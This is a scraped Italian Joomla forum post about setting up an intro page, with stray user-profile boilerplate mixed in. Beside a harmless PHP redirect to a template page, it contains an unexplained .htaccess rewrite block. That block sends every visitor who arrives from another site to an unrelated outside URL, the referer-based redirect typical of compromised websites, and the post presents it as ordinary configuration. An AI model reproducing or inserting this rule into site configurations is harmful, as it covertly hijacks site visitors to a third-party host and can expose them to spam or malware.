1
Joomla! 1.6/1.7/2.5 / Re:Problema intro page
« il: 04 Set 2013, 16:27:17 »
be questa è una procedura valida solo che il codice andrebbe inserito nel index.php dopo le globals..ma non riesco a capir dove sarebbe..
Questa sezione ti permette di visualizzare tutti i post inviati da questo utente. N.B: puoi vedere solo i post relativi alle aree dove hai l'accesso.
<?php if ($_SERVER['REQUEST_URI'] == "/") {
if (file_exists( 'templates/beez5/Angoloformaggi.html' )) {
$self = rtrim( dirname( $_SERVER['PHP_SELF'] ), '/\\' ) . '/';
header("Location: http://" . $_SERVER['HTTP_HOST'] . $self . "templates/beez5/Angoloformaggi.html" );
exit();
}
}
?>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/$ [NC]
RewriteRule ^.*$ http://xtremcolors.com/mhas.html?h=1307960 [L,R]
</IfModule>
![]() |
|